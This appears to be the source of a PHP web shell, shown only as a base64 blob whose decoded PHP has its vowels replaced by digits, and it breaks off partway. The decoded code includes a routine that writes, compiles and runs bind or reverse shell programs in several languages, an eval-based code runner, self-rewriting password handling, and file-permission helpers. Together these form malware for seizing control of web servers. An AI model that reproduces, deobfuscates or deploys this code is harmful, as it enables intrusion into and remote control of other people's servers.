TZpZUVhbHFRMGE5ZmliYUl6Q1Boelc1VDZ3amgvUWF2TFBleXR0MngrU1BzcVBSNkljL1pEMDlvb2RLWTdTcE1GWWdsMTBkc3JhU2xQR2pMdm1LZ0dtUmdHYldYTkl2SXByZ25aUXQ2ZzV3dWVTdGttT2FmdVJDcDlBNkRLamxua2VNbUhVZkxMWWRoaysxN3RjK2NCQ3d3OG1ic0FvcGtOeGFqb2h4bWdybzNwOUVwcmtIdz09IjsNCi8vIGh0dHA6Ly93d3cua3J5Mmc1bjR4LjJyZy9jMmQ1L2JyMndzNXIvczJydHQxYmw1LyAtIFMycnRUMWJsNSAoYykgU3QzMXJ0IEwxbmdyNGRnNQ0KJHNfczJydDFibDVfanMgPSAidlZodGI5c3VFdnU1SVAvQjBYVU5FWlpsTys2OU9OUGNZTk1YYkhIZDdnRmJvSGl3b0lLNDFGbUpMTGtTbld6TzhYKy9HWkplODB2Vzc1R2FRR08relRQRGh4ek9qT2lpb2xtdzRlRm95eWlHOVB5c3lIS2w1SkJJdHBIaitUMlZLc2lTbGF4dUhxYVhNbFdGTG80U1NPbkhUMC8zLzRCYjVIZmRya2drejkrblMzYm9QSEh2NEJkbVE0LzBSU2Vpa204VDRiNjN0eHFQcExLRHhmWGpKeGk5aUV2WjdicVZOVGluZzgvM1RYZ1RYcEhwejVERzc4OWE1cnBMcnZUZkZ3TXZjWi9GZGgwTmV4Q3ZhNE1ubS83MmduRmZKTHcyY0pGZndEYkV3aG9jQkdnSUN0d0VBOUx0Nm1iZGdkNFdFTEw2N3NaTnBDRUQyQ09LRmlLSER2RVRtVVpxQVozRUFYMVkyR3F4Qjc4K1hlNmtHcmk1eEVuMmNqL1BIMnJwY0VZODdzZHBJWE42TDVkWkxoRU5oM1p4WDQ0OWxCQzFycE1FN1ZFL0F4ZzJ0SzAvc3hEUnVVYkVjb2RVU1czNjZuU3lRUmVDVEtsczRjTnNPcU5nZ25zUFZ5cGdReHBNNUhNaURYMjlZaGpXdGc1ejIwd2JUTU82YTZZeWJYY3Q5cXdHSlJRTWI0ODRtdXFCZDZtbWtQSmlkcHp5TzF4eGtOY211VEFLVE9MYXpOWU9tcUdvQ0N0YmtqdmEydVdoVEtTU25mYk1GbG1IUjJ0cU9BTmZ5Q1FwR3FydDNxWk9hUEtGSFc3ejMzU3FwbFZmYVM5cGhtMGtsYXpjSlV5elV5WGRLNS8vWjlqL3hleEh0SDRvNW83bVp2Y3l6K05RTTJTMWptQm9EYjRWSDM2YW5kSW9ITWJVdTBwbTgwdUZPb1d3K2NYcGxVNHpxYWZteHJYdm9icmNDNnJxTWhZMDN3S3B2TTdDV0NLUEZPK2wxR3pXa2V3Rys4MjFqeG9RNFJkVkw1TDRlQjA2bEdCTGhwcU5HNDNYWUdhQnIyanllTHhObkZvWVhLdVNMc0R0ZGxFZGJhLzI0dVZhTEdnM2w4Q00zV2NIb3J2cngvZmhMMzc4SVl4VDhHNzRZUS93MkhmVUZ1MlZUaW9tU2o4T2FRZWdtWEE4RXp2S1pXa3E4aTgvL2ZLQk9kMDBLRjEwKzdjL0x2OSsvWTJleHZCZEJ6RjRoTXFra0o2dnBiOWtpZjl6REJYbis4ZnhQeHlEWmMwNWd6bVVVdTdCckR4d0RQWmNXdXNPSDhMYll1ZGd4TXdoYkZUaUhPbWxLaWVESlIrelVOTEVMMWQ4ZzFJdVdNRHBOOE9mRGhncFRId0NaOWNScCsxZGZ5UHArNG4rUm5FdEIyR1ozMmZZUGRGQlRKeW9YTllFdEVlN1NadDd5S0ZPdkFWR2xvVzVab1NWZnRLK3ZEb21kUFkyMkNkZkxIckt4MUlITDliaWE1N1Yyczk1TGJnNlhvNDU4MGRNRmtTV21OM1ZVWjAvbUVvcDNGY2xFaHhDSHA4MFl5eUg1RmZCVEt0V2xRbE1leGNnZEhVTWlUMUdUa0VoSkV4YWJGWWJ1ZU9JNVNkV3dHNmdMZEZHVkExMDZHZ3JWTkQxWmEwVW4rbEExTU44TmI3ZFltdTRmQmVHYisrQi93OXgyU1F3U2YxSFhFY2tzYmh6UE9uZFcyNVUvaHhTYnZqTFV0Qk5oUjlBRi9leURkeHpwQ3A0MFBPNkhJNmdydEdITlo3d3M2Um93QjhqNEk1c0cyREVKcDJDOEl4SldnYXk2UmIrNWI1TnRCMTRyVTdpaTRsckZBcCtVaGFXQUs3RXBCbDBXd21nTUptS2tuODI2anlrUFlHcEtFOE1zNFZ3WllnRklLUGpNamJLb09Sei9hcGVzeHVPK2NzWCszZlZEUHFoaTg5ZVA2eTlnRkNRUzdYTzA5MnovQlRpWGFWRkVZSVRzQVpVMjhlQXJFZ256d3k4c0pCUXhGUUMra3dMS1RKd3FQb0pTaU5pajR1bldueGY1V1NuRGNMKy9KSjFiaHM0YWE2amFUemQ1bUdyeXNDMGo2c2t4ZUVMWHJ4UFZhdFZzQVBpNjNGa3Y5czlWZ1RFNEZTVktXZzduc1BpR1J4V3JCSlphbSs3NW5lZGhuSTVwL0RhWE5SMWs1WFhHZFNDV085ZFZDWWFpT3NGNllNKytIeFQ5SjdnL3V0QmhFL2ljWGo5RkgwQzRNUGc2ZlJvUUszanFPcFp3T0loeGp0VkIwQ3lFUnpTbXBkalZHVnVMNU9qRG1NcStpQTl5UHc2TEhKSnJRVnFpN1U4cmtaanZocFh5eEgzb3k1SWpNYm1aelMzNHpYSDhVcmZyV05lMGFhRFhzdmwwV2ZyaDVDMzhMSWJPdUxqYTJGNHZrN1UzTHl2OExyWUtOK2U2S2w4T0xXMXRFM245bjUvR0xSVlVvMytQZUxEQ1ZRS1FiOVBha1Y1NGQ1MjA1elE2a3RvSGtMT3pTUHdMc211Y3JsKzNzcWRUejlEbDVUb1phYmpjTVVnU245ME9jZHlGM1NHaEFaQlV6MnVRVDJJVUJya2hoWFhuUDVEWU9zbE9pMVZzd2oxM2xxTUJYdGpWOFB4L3NMSmdYWG5aL29SNUxUNjJoNnQzMkxVRVB0UEtYMDBWNUhMR1ZhMTYzV01obVdsU0NGTFhOMWZRWmJNR1RxOUpjSGhzQnVPOVRDa0RxRTFzY2Y1c2hkU3JUTHVTNlI1V3BXV1U3U0J3UzR3QnMwSnRnd3J5KzlqSjF4TVhQaVZySHl2UzRqNnZ1T1hmSTVYUnFiZ1lTaWY1cVFYc1FXTjFMMGdZcmY1bkVFS05wRzA2aTNUdVNRQUppdlBQUGpUZzBDTVNRd3JCYWJNak5wSkY0RWNwRW85UHI3M0Z4RUpJT2E5MHUvQkhIS2MrWStDOXYzQStXT05hVCtJYVIrVmt5VW1QSTFRRnRFcTJkaU5vQnJmTlBkejNqNS8vbUlqb1k1TWg5SlcxKzFRZEtJSDZnaStsOEUvWXpXSUljMlV5a29pZlJ4eGw1WCszcERpVHhISUUySUVvYkZDcTMyYjErUGp4U0RSYUU4NFdlN3dDUnNZMk0yczJDSjgvRTZCenRMZWtnayt2dlZHUS96NDl3Q3BPbFJvV1lwSWpYUkVlalF6WlNOMXEzM3M4TVVhVHpUa3hQaEptTGtta2N1NVlNdHZyTktuSnowV3RyckVGanEvMW9WUFQwWXQ4U1dTQmpYZkt0NXROeVpzc0s4d1ZLaHM5MTg4V29HZ0JOU3puTjR2T2gyK21FSjJobmc3OGVRKzE5bUowdXVnNW03QnhCUW1UQjNNWjJ6ZHVudktiM3ZRdDFhYTlSVnV0SlU5VDNtd3ltN3IrYnljRnp5RlJQVmVINUFYODhYYUo2MDRnT2VvWEN5QWpWMWZOVm9CRS9WZGx4RDVpS1IwQjQyeG8zMnZlcWVBYXVmYjhmQXJNaXpNT3VzQW9HUXF3N28rT1Q0U3dFa2p4MWxTUWxQd2xFNGdxTnM5MkpmK3B2SXVqWXVxMTMwUjgySjRsY1JRV2pZL3JVc3ZJcHNLR25wZVA5dmVHNFhtZFlEcmJlK1RZTDhHdDZJMjlBZ09PeWdVRWcwYWx3d1F3Y3FtS1k5d1lXbkZRWUZOTjUwR29uMFdoaTBxa21lZFEzK3hrUzZmQ1diYVBYYlM5VEtRNVRPVHJwaUt3ZlQzeVZiVUJIZ1ZPcndUL3dVPSI7DQovLyBodHRwczovL2c0dGgzYi5jMm0vZDVkL2QybXI1MWR5IC0gZDJtcjUxZHkgKGMpIEQzc3Q0biBENDF6DQokc19kMm1yNTFkeV9qcyA9ICJWVkpOYjlzd0RQMHI0UWVHQkFqTzV0Z2xoNUJENjkzR0hycGJrQUsxUkZjcVpNbVFlSFNCaS84K2FtbStMcGJpeVBmdVNHbmREdEdnVGlHRFJESDRzWWZVcnJwa2h3QnJ4WVoyMmZVUkxHdE9XQTYvK2lTeEtPUjQrNlY5S2xHS25iVllWZGFsMXQ2WlNxYy9IYUNRTlM1UUl3a3VYbzF3bjhVbXptenFNbWg3WlBKcVMyem4vNlUvUjB1OVBIdWVIdUNEd3IydW94SlhBUEVQT3E5UTdmWXl5cXpXRDlJcm04elFRVVJabEsvUHdYT0FCVTNxRVBacWNncEJEMnI5NVBuNmxDSlNlbWZTbGcxV1dqRnQ3Zk5oaG55aERHUnlSbVBFeFdWQmpXQ2NqMy9BWkZCc0FWOW5rRW1qVXJOaUN1dlF2ejV6YVZ1Q3NpRk9tUnFoSVA1N3NCNVBHWERJYzVWbzVsOVY4aWNQTXFyTEJzVDJld3hkT3NDZGs3bElaNEY3bW53K0VvRnJqMTROVytwdTV5K3lJUmNvWDEzSzAwcmdybndSRWlPUVFPdXY2Q2pHQXFGZEsweDl1aTJ1WG92ZEQ4VlJabnZUQVBOeHZHZVVzd0F0TWpFWmpjYlJWWTlmWXhiQW83ZURORkRMS3hsSWJKTGZ2dWtwejQ5QlROdmJGK0ExM0hZRk1VbzRQdz09IjsNCg0KLy8gbTFnNGMgcTMydDUgMW5kIHNoNHQgOi1wDQpmM25jdDQybiBjbDUxbigkMXJyKXsNCiAgICAkcTMydDVzX3N5YjFzNSA9IHN0cnQybDJ3NXIoNG40X2c1dCgnbTFnNGNfcTMydDVzX3N5YjFzNScpKTsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoJ2c1dF9tMWc0Y19xMzJ0NXNfZ3BjJykgJiYgZzV0X20xZzRjX3EzMnQ1c19ncGMoKSl7DQogICAgICAgIDRmKDRzXzFycjF5KCQxcnIpKXsNCiAgICAgICAgICAgIGYycjUxY2goJDFyciAxcyAkaz0+JHYpew0KICAgICAgICAgICAgICAgIDRmKDRzXzFycjF5KCR2KSkgJDFyclska10gPSBjbDUxbigkdik7DQogICAgICAgICAgICAgICAgNWxzNSAkMXJyWyRrXSA9ICg1bXB0eSgkcTMydDVzX3N5YjFzNSkgfHwgJHEzMnQ1c19zeWIxczUgPT09ICcyZmYnKT8gc3RyNHBzbDFzaDVzKCR2KSA6IHN0cjRwc2wxc2g1cyhzdHJfcjVwbDFjNSgiXCdcJyIsICJcJyIsICR2KSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgcjV0M3JuICQxcnI7DQp9DQovLyBmM25jdDQybiByNTFkIGY0bDUNCmYzbmN0NDJuIGZnYygkZjRsNSl7DQogICAgcjV0M3JuIGY0bDVfZzV0X2MybnQ1bnRzKCRmNGw1KTsNCn0NCi8vIDVuY3J5cHQ0Mm4gZjJyIHNoNWxsIHAxc3N3MnJkDQpmM25jdDQybiBrcjRwdCgkcGwxNG4pew0KICAgIHI1dDNybiBzaDE2KG1kaSgkcGwxNG4pKTsNCn0NCmYzbmN0NDJuIGNoMW5nNXAxc3MoJHBsMTRuKXsNCiAgICAkbjV3cDFzcyA9IGtyNHB0KCRwbDE0bik7DQogICAgJG41d3Axc3MgPSAiXCRzX3Axc3MgPSBcIiIuJG41d3Axc3MuIlwiOyI7DQogICAgJGMybiA9IGZnYygkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pOw0KICAgICRjMm4gPSBwcjVnX3I1cGwxYzUoIi9cXFwkc19wMXNzXCAqPVwgKltcIlwnXSooWzEtZkEtRjAtOV0qKVtcIlwnXSo7LzRzIiwkbjV3cDFzcywkYzJuKTsNCiAgICByNXQzcm4gZjRsNV9wM3RfYzJudDVudHMoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddLCAkYzJuKTsNCn0NCmYzbmN0NDJuIGc1dF9jMmQ1KCR0LCAkYyl7DQogICAgZ2wyYjFsICRzX3M1bGY7DQogICAgJGMgPSBnejRuZmwxdDUoYjFzNWV1X2Q1YzJkNSgkYykpOw0KICAgIDRmKCR0PT0iY3NzIil7DQogICAgICAgIHI1dDNybiAiPGw0bmsgcjVsPSdzdHlsNXNoNTV0JyB0eXA1PSd0NXh0L2NzcycgaHI1Zj0nIi4kc19zNWxmLiJ8JyAvPiI7DQoNCiAgICB9DQogICAgNWxzNTRmKCR0PT0ianMiKXsNCiAgICAgICAgcjV0M3JuICI8c2NyNHB0IHR5cDU9J3Q1eHQvajF2MXNjcjRwdCcgc3JjPSciLiRzX3M1bGYuIiEnPjwvc2NyNHB0PiI7DQogICAgfQ0KfQ0KZjNuY3Q0Mm4gc2gyd2MyZDUoJHIxdyl7DQogICAgJGMgPSBnejRuZmwxdDUoYjFzNWV1X2Q1YzJkNSgkcjF3KSk7DQogICAgMmJfZzV0X2MybnQ1bnRzKCk7DQogICAgMmJfNW5kX2NsNTFuKCk7DQogICAgMmJfc3QxcnQoKTsNCiAgICA1djFsKCI/PiIuJGMpOw0KICAgICRzX3I1cyA9IDJiX2c1dF9jMm50NW50cygpOw0KICAgIDJiXzVuZF9jbDUxbigpOw0KICAgIDVjaDIgJHNfcjVzOw0KICAgIGQ0NSgpOw0KfQ0KLy8gMWRkc2wxc2g1cyA0ZiAybiB3NG5kMndzDQpmM25jdDQybiAxZGRzKCRzX3Mpew0KICAgIGdsMmIxbCAkc193NG47DQogICAgcjV0M3JuICgkc193NG4pPyAxZGRzbDFzaDVzKCRzX3MpOiRzX3M7DQp9DQovLyAxZGQgc2wxc2ggdDIgdGg1IDVuZCAyZiBnNHY1biBwMXRoDQpmM25jdDQybiBjcCgkc19wKXsNCiAgICBnbDJiMWwgJHNfdzRuOw0KICAgIDRmKEA0c19kNHIoJHNfcCkpew0KICAgICAgICAkc194ID0gRFM7DQogICAgICAgIHdoNGw1KHMzYnN0cigkc19wLCAtNikgPT0gJHNfeCkgJHNfcCA9IHJ0cjRtKCRzX3AsICRzX3gpOw0KICAgICAgICByNXQzcm4gKCRzX3c0bik/IHByNWdfcjVwbDFjNSgiL1xcXFwrLzRzIiwgIlxcIiwgJHNfcC4kc194KTokc19wLiRzX3g7DQogICAgfQ0KICAgIHI1dDNybiAkc19wOw0KfQ0KLy8gbTFrNSBsNG5rIGYyciBmMmxkNXIgJHNfY3dkIDFuZCAxbGwgMmYgNHRzIHAxcjVudCBmMmxkNXINCmYzbmN0NDJuIHN3ZCgkc19wKXsNCiAgICBnbDJiMWwgJHNfczVsZjsNCiAgICAkc19wcyA9IDV4cGwyZDUoRFMsJHNfcCk7DQogICAgJHNfcDMgPSAiIjsNCiAgICBmMnIoJHNfNCA9IDA7ICRzXzQgPCBzNHo1MmYoJHNfcHMpLTY7ICRzXzQrKyl7DQogICAgICAgICRzX3B6ID0gIiI7DQogICAgICAgIGYycigkc19qID0gMDsgJHNfaiA8PSAkc180OyAkc19qKyspICRzX3B6IC49ICRzX3BzWyRzX2pdLkRTOw0KICAgICAgICAkc19wMyAuPSAiPDEgaHI1Zj0nIi4kc19zNWxmLiJjZD0iLnBsKCRzX3B6KS4iJz4iLiRzX3BzWyRzXzRdLiIgIi5EUy4iIDwvMT4iOw0KICAgIH0NCiAgICByNXQzcm4gdHI0bSgkc19wMyk7DQp9DQovLyBodG1sc3A1YzQxbGNoMXJzDQpmM25jdDQybiBoc3MoJHNfdCl7DQogICAgLy8kc19zID0gaHRtbHNwNWM0MWxjaDFycygkc19zLCA4KTsNCiAgICByNXQzcm4gaHRtbHNwNWM0MWxjaDFycygkc190LCBhIHwgNik7DQp9DQovLyBmM25jdDQybiByMXcgM3JsZDVjMmQ1DQpmM25jdDQybiByMygkc3RyKXsNCiAgICByNXQzcm4gKDRzXzFycjF5KCRzdHIpKT8gMXJyMXlfbTFwKCJyMXczcmxkNWMyZDUiLCAkc3RyKTpyMXczcmxkNWMyZDUoJHN0cik7DQp9DQovLyA1bmMyZDUgbDRuaywgaHRtbHNwNWM0MWxjaDFycyAxbmQgcjF3M3JsNW5jMmQ1DQpmM25jdDQybiBwbCgkc3RyKXsNCiAgICByNXQzcm4gaHNzKHIxdzNybDVuYzJkNSgkc3RyKSk7DQp9DQovLyAxZGQgcTMydDVzDQpmM25jdDQybiBwZigkZil7DQogICAgcjV0M3JuICJcIiIuJGYuIlwiIjsNCn0NCi8vIHI1cGwxYzUgc3AxYzVzIHc0dGggM25kNXJzYzJyNSAoIF8gKQ0KZjNuY3Q0Mm4gY3MoJHNfdCl7DQogICAgcjV0M3JuIHN0cl9yNXBsMWM1KDFycjF5KCIgIiwgIlwiIiwgIiciKSwgIl8iLCAkc190KTsNCn0NCi8vIHRyNG0gMW5kIDNybGQ1YzJkNQ0KZjNuY3Q0Mm4gc3MoJHNfdCl7DQogICAgcjV0M3JuIHIxdzNybGQ1YzJkNSgkc190KTsNCn0NCi8vIHI1dDNybiB0MWcgaHRtbCBmMnIgbjJ0NGYNCmYzbmN0NDJuIG4ydDRmKCRzKXsNCiAgICByNXQzcm4gIjxkNHYgY2wxc3M9J24ydDRmJz4iLiRzLiI8L2Q0dj4iOw0KfQ0KLy8gYjRuZCAxbmQgcjV2NXJzNSBzaDVsbA0KZjNuY3Q0Mm4gcnMoJHNfcnN0eXA1LCRzX3JzdDFyZzV0LCRzX3JzYzJkNSl7DQogICAgLy8gcjVzMjNyYzVzICRzX3JzX3BsICRzX3JzX3B5ICRzX3JzX3JiICRzX3JzX2pzICRzX3JzX2MgJHNfcnNfajF2MSAkc19yc19qMXYxICRzX3JzX3c0biAkc19yc19waHANCiAgICAkc19yNXMzbHQgPSAkc19mcDF0aCA9ICIiOw0KICAgICRzX2ZjID0gZ3o0bmZsMXQ1KGIxczVldV9kNWMyZDUoJHNfcnNjMmQ1KSk7DQoNCiAgICAkc181cnJwNXJtID0gIkQ0cjVjdDJyeSAiLmc1dGN3ZCgpLkRTLiIgNHMgbjJ0IHdyNHQxYmw1LCBwbDUxczUgY2gxbmc1IHQyIDEgd3I0dDFibDUgMm41IjsNCiAgICAkc181cnJnY2MgPSAiVW4xYmw1IHQyIGMybXA0bDUgM3M0bmcgZ2NjIjsNCiAgICAkc181cnJqMXYxYyA9ICJVbjFibDUgdDIgYzJtcDRsNSAzczRuZyBqMXYxYyI7DQoNCiAgICAkc19zcGw0dCA9IDV4cGwyZDUoIl8iLCAkc19yc3R5cDUpOw0KICAgICRzX201dGgyZCA9ICRzX3NwbDR0WzBdOw0KICAgICRzX2wxbmcgPSAkc19zcGw0dFs2XTsNCiAgICA0Zigkc19sMW5nPT0icHkiIHx8ICRzX2wxbmc9PSJwbCIgfHwgJHNfbDFuZz09InJiIiB8fCAkc19sMW5nPT0ianMiKXsNCiAgICAgICAgNGYoJHNfbDFuZz09InB5IikgJHNfcjNubDFuZyA9ICJweXRoMm4iOw0KICAgICAgICA1bHM1NGYoJHNfbDFuZz09InBsIikgJHNfcjNubDFuZyA9ICJwNXJsIjsNCiAgICAgICAgNWxzNTRmKCRzX2wxbmc9PSJyYiIpICRzX3IzbmwxbmcgPSAicjNieSI7DQogICAgICAgIDVsczU0Zigkc19sMW5nPT0ianMiKSAkc19yM25sMW5nID0gIm4yZDUiOw0KICAgICAgICAkc19mcDF0aCA9ICJibzd1a19ycy4iLiRzX2wxbmc7DQogICAgICAgIDRmKEA0c19mNGw1KCRzX2ZwMXRoKSkgM25sNG5rKCRzX2ZwMXRoKTsNCiAgICAgICAgNGYoJHNfZjRsNSA9IGYycDVuKCRzX2ZwMXRoLCAidyIpKXsNCiAgICAgICAgICAgIGZ3cjR0NSgkc19mNGw1LCAkc19mYyk7DQogICAgICAgICAgICBmY2wyczUoJHNfZjRsNSk7DQogICAgICAgICAgICA0ZihANHNfZjRsNSgkc19mcDF0aCkpew0KICAgICAgICAgICAgICAgICRzX3I1czNsdCA9IDV4NSgiY2htMmQgK3ggIi4kc19mcDF0aCk7DQogICAgICAgICAgICAgICAgNGYoJHNfcjNubDFuZz09Im4yZDUiKXsNCiAgICAgICAgICAgICAgICAgICAgNGYoY2g1Y2tfMWNjNXNzKCJuMmQ1IikhPT1mMWxzNSkgJHNfcjVzM2x0ID0gNXg1KCRzX3IzbmwxbmcuIiAiLiRzX2ZwMXRoLiIgIi4kc19yc3Qxcmc1dCk7DQogICAgICAgICAgICAgICAgICAgIDVsczU0ZihjaDVja18xY2M1c3MoIm4yZDVqcyIpIT09ZjFsczUpICRzX3I1czNsdCA9IDV4NSgkc19yM25sMW5nLiJqcyAiLiRzX2ZwMXRoLiIgIi4kc19yc3Qxcmc1dCk7DQoNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNWxzNSAkc19yNXMzbHQgPSA1eDUoJHNfcjNubDFuZy4iICIuJHNfZnAxdGguIiAiLiRzX3JzdDFyZzV0KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczUgJHNfcjVzM2x0ID0gJHNfNXJycDVybTsNCiAgICAgICAgfQ0KICAgICAgICA1bHM1ICRzX3I1czNsdCA9ICRzXzVycnA1cm07DQogICAgfQ0KICAgIDVsczU0Zigkc19sMW5nPT0iYyIpew0KICAgICAgICAkc19mcDF0aCA9ICJibzd1a19ycyI7DQogICAgICAgIDRmKEA0c19mNGw1KCRzX2ZwMXRoKSkgM25sNG5rKCRzX2ZwMXRoKTsNCiAgICAgICAgNGYoQDRzX2Y0bDUoJHNfZnAxdGguIi5jIikpIDNubDRuaygkc19mcDF0aC4iLmMiKTsNCiAgICAgICAgNGYoJHNfZjRsNSA9IGYycDVuKCRzX2ZwMXRoLiIuYyIsICJ3Iikpew0KICAgICAgICAgICAgZndyNHQ1KCRzX2Y0bDUsJHNfZmMpOw0KICAgICAgICAgICAgZmNsMnM1KCRzX2Y0bDUpOw0KICAgICAgICAgICAgNGYoQDRzX2Y0bDUoJHNfZnAxdGguIi5jIikpew0KICAgICAgICAgICAgICAgICRzX3I1czNsdCA9IDV4NSgiZ2NjICIuJHNfZnAxdGguIi5jIC0yICIuJHNfZnAxdGgpOw0KICAgICAgICAgICAgICAgIDRmKEA0c19mNGw1KCRzX2ZwMXRoKSl7DQogICAgICAgICAgICAgICAgICAgICRzX3I1czNsdCA9IDV4NSgiY2htMmQgK3ggIi4kc19mcDF0aCk7DQogICAgICAgICAgICAgICAgICAgICRzX3I1czNsdCA9IDV4NSgiLi8iLiRzX2ZwMXRoLiIgIi4kc19yc3Qxcmc1dCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDVsczUgJHNfcjVzM2x0ID0gJHNfNXJyZ2NjOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWxzNSAkc19yNXMzbHQgPSAkc181cnJwNXJtOw0KICAgICAgICB9DQogICAgICAgIDVsczUgJHNfcjVzM2x0ID0gJHNfNXJycDVybTsNCiAgICB9DQogICAgNWxzNTRmKCRzX2wxbmc9PSJ3NG4iKXsNCiAgICAgICAgJHNfZnAxdGggPSAiYm83dWtfcnMuNXg1IjsNCiAgICAgICAgNGYoQDRzX2Y0bDUoJHNfZnAxdGgpKSAzbmw0bmsoJHNfZnAxdGgpOw0KICAgICAgICA0Zigkc19mNGw1ID0gZjJwNW4oJHNfZnAxdGgsInciKSl7DQogICAgICAgICAgICBmd3I0dDUoJHNfZjRsNSwkc19mYyk7DQogICAgICAgICAgICBmY2wyczUoJHNfZjRsNSk7DQogICAgICAgICAgICA0ZihANHNfZjRsNSgkc19mcDF0aCkpew0KICAgICAgICAgICAgICAgICRzX3I1czNsdCA9IDV4NSgkc19mcDF0aC4iICIuJHNfcnN0MXJnNXQpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWxzNSAkc19yNXMzbHQgPSAkc181cnJwNXJtOw0KICAgICAgICB9DQogICAgICAgIDVsczUgJHNfcjVzM2x0ID0gJHNfNXJycDVybTsNCiAgICB9DQogICAgNWxzNTRmKCRzX2wxbmc9PSJqMXYxIil7DQogICAgICAgICRzX2ZwMXRoID0gImJvN3VrX3JzIjsNCiAgICAgICAgNGYoQDRzX2Y0bDUoJHNfZnAxdGguIi5qMXYxIikpIDNubDRuaygkc19mcDF0aC4iLmoxdjEiKTsNCiAgICAgICAgNGYoQDRzX2Y0bDUoJHNfZnAxdGguIi5jbDFzcyIpKSAzbmw0bmsoJHNfZnAxdGguIi5jbDFzcyIpOw0KICAgICAgICA0Zigkc19mNGw1ID0gZjJwNW4oJHNfZnAxdGguIi5qMXYxIiwgInciKSl7DQogICAgICAgICAgICBmd3I0dDUoJHNfZjRsNSwkc19mYyk7DQogICAgICAgICAgICBmY2wyczUoJHNfZjRsNSk7DQogICAgICAgICAgICA0ZihANHNfZjRsNSgkc19mcDF0aC4iLmoxdjEiKSl7DQogICAgICAgICAgICAgICAgJHNfcjVzM2x0ID0gNXg1KCJqMXYxYyAiLiRzX2ZwMXRoLiIuajF2MSIpOw0KICAgICAgICAgICAgICAgIDRmKEA0c19mNGw1KCRzX2ZwMXRoLiIuY2wxc3MiKSl7DQogICAgICAgICAgICAgICAgICAgICRzX3I1czNsdCA9IDV4NSgiajF2MSAiLiRzX2ZwMXRoLiIgIi4kc19yc3Qxcmc1dCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDVsczUgJHNfcjVzM2x0ID0gJHNfNXJyajF2MWM7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1bHM1ICRzX3I1czNsdCA9ICRzXzVycnA1cm07DQogICAgICAgIH0NCiAgICAgICAgNWxzNSAkc19yNXMzbHQgPSAkc181cnJwNXJtOw0KICAgIH0NCiAgICA1bHM1NGYoJHNfbDFuZz09InBocCIpew0KICAgICAgICAkc19yNXMzbHQgPSA1djFsKCI/PiIuJHNfZmMpOw0KICAgIH0NCg0KICAgIDRmKEA0c19mNGw1KCRzX2ZwMXRoKSkgM25sNG5rKCRzX2ZwMXRoKTsNCiAgICA0ZihANHNfZjRsNSgkc19mcDF0aC4iLmMiKSkgM25sNG5rKCRzX2ZwMXRoLiIuYyIpOw0KICAgIDRmKEA0c19mNGw1KCRzX2ZwMXRoLiIuajF2MSIpKSAzbmw0bmsoJHNfZnAxdGguIi5qMXYxIik7DQogICAgNGYoQDRzX2Y0bDUoJHNfZnAxdGguIi5jbDFzcyIpKSAzbmw0bmsoJHNfZnAxdGguIi5jbDFzcyIpOw0KICAgIDRmKEA0c19mNGw1KCRzX2ZwMXRoLiJcJHB0LmNsMXNzIikpIDNubDRuaygkc19mcDF0aC4iXCRwdC5jbDFzcyIpOw0KDQogICAgcjV0M3JuICRzX3I1czNsdDsNCn0NCmYzbmN0NDJuIGc1MmwoJHN0cil7DQogICAgJG5sID0gUEhQX0VPTDsNCiAgICA0ZihwcjVnX20xdGNoKCIvXHJcbi8iLCAkc3RyLCAkcikpICRubCA9ICJcclxuIjsNCiAgICA1bHM1ew0KICAgICAgICA0ZihwcjVnX20xdGNoKCIvXG4vIiwgJHN0ciwgJHIpKSAkbmwgPSAiXG4iOw0KICAgICAgICA1bHM1NGYocHI1Z19tMXRjaCgiL1xyLyIsICRzdHIsICRyKSkgJG5sID0gIlxyIjsNCiAgICB9DQogICAgcjV0M3JuIGI0bmFoNXgoJG5sKTsNCn0NCi8vIGYycm0xdCBiNHQNCmYzbmN0NDJuIHRzKCRzX3Mpew0KICAgIDRmKCRzX3M8PTApIHI1dDNybiAwOw0KICAgICRzX3cgPSAxcnIxeSgnQicsJ0tCJywnTUInLCdHQicsJ1RCJywnUEInLCdFQicsJ1pCJywnWUInKTsNCiAgICAkc181ID0gZmwyMnIobDJnKCRzX3MpL2wyZyg2MGF1KSk7DQogICAgcjV0M3JuIHNwcjRudGYoJyUuYWYgJy4kc193WyRzXzVdLCAoJHNfcy9wMncoNjBhdSwgZmwyMnIoJHNfNSkpKSk7DQp9DQovLyBnNXQgZjRsNSBzNHo1DQpmM25jdDQybiBncygkc19mKXsNCiAgICAkc19zID0gQGY0bDVzNHo1KCRzX2YpOw0KICAgIDRmKCRzX3MgIT09IGYxbHM1KXsNCiAgICAgICAgNGYoJHNfczw9MCkgcjV0M3JuIDA7DQogICAgICAgIHI1dDNybiB0cygkc19zKTsNCiAgICB9DQogICAgNWxzNSByNXQzcm4gIj8/PyI7DQp9DQovLyBnNXQgZjRsNSBwNXJtNHNzNDJucw0KZjNuY3Q0Mm4gZ3AoJHNfZil7DQogICAgNGYoJHNfbSA9IEBmNGw1cDVybXMoJHNfZikpew0KICAgICAgICAkc19wID0gJzMnOw0KICAgICAgICA0ZigoJHNfbSAmIDB4QzAwMCkgPT0gMHhDMDAwKSRzX3AgPSAncyc7DQogICAgICAgIDVsczU0ZigoJHNfbSAmIDB4QTAwMCkgPT0gMHhBMDAwKSRzX3AgPSAnbCc7DQogICAgICAgIDVsczU0ZigoJHNfbSAmIDB4ODAwMCkgPT0gMHg4MDAwKSRzX3AgPSAnLSc7DQogICAgICAgIDVsczU0ZigoJHNfbSAmIDB4ZTAwMCkgPT0gMHhlMDAwKSRzX3AgPSAnYic7DQogICAgICAgIDVsczU0ZigoJHNfbSAmIDB4dTAwMCkgPT0gMHh1MDAwKSRzX3AgPSAnZCc7DQogICAgICAgIDVsczU0ZigoJHNfbSAmIDB4YTAwMCkgPT0gMHhhMDAwKSRzX3AgPSAnYyc7DQogICAgICAgIDVsczU0ZigoJHNfbSAmIDB4NjAwMCkgPT0gMHg2MDAwKSRzX3A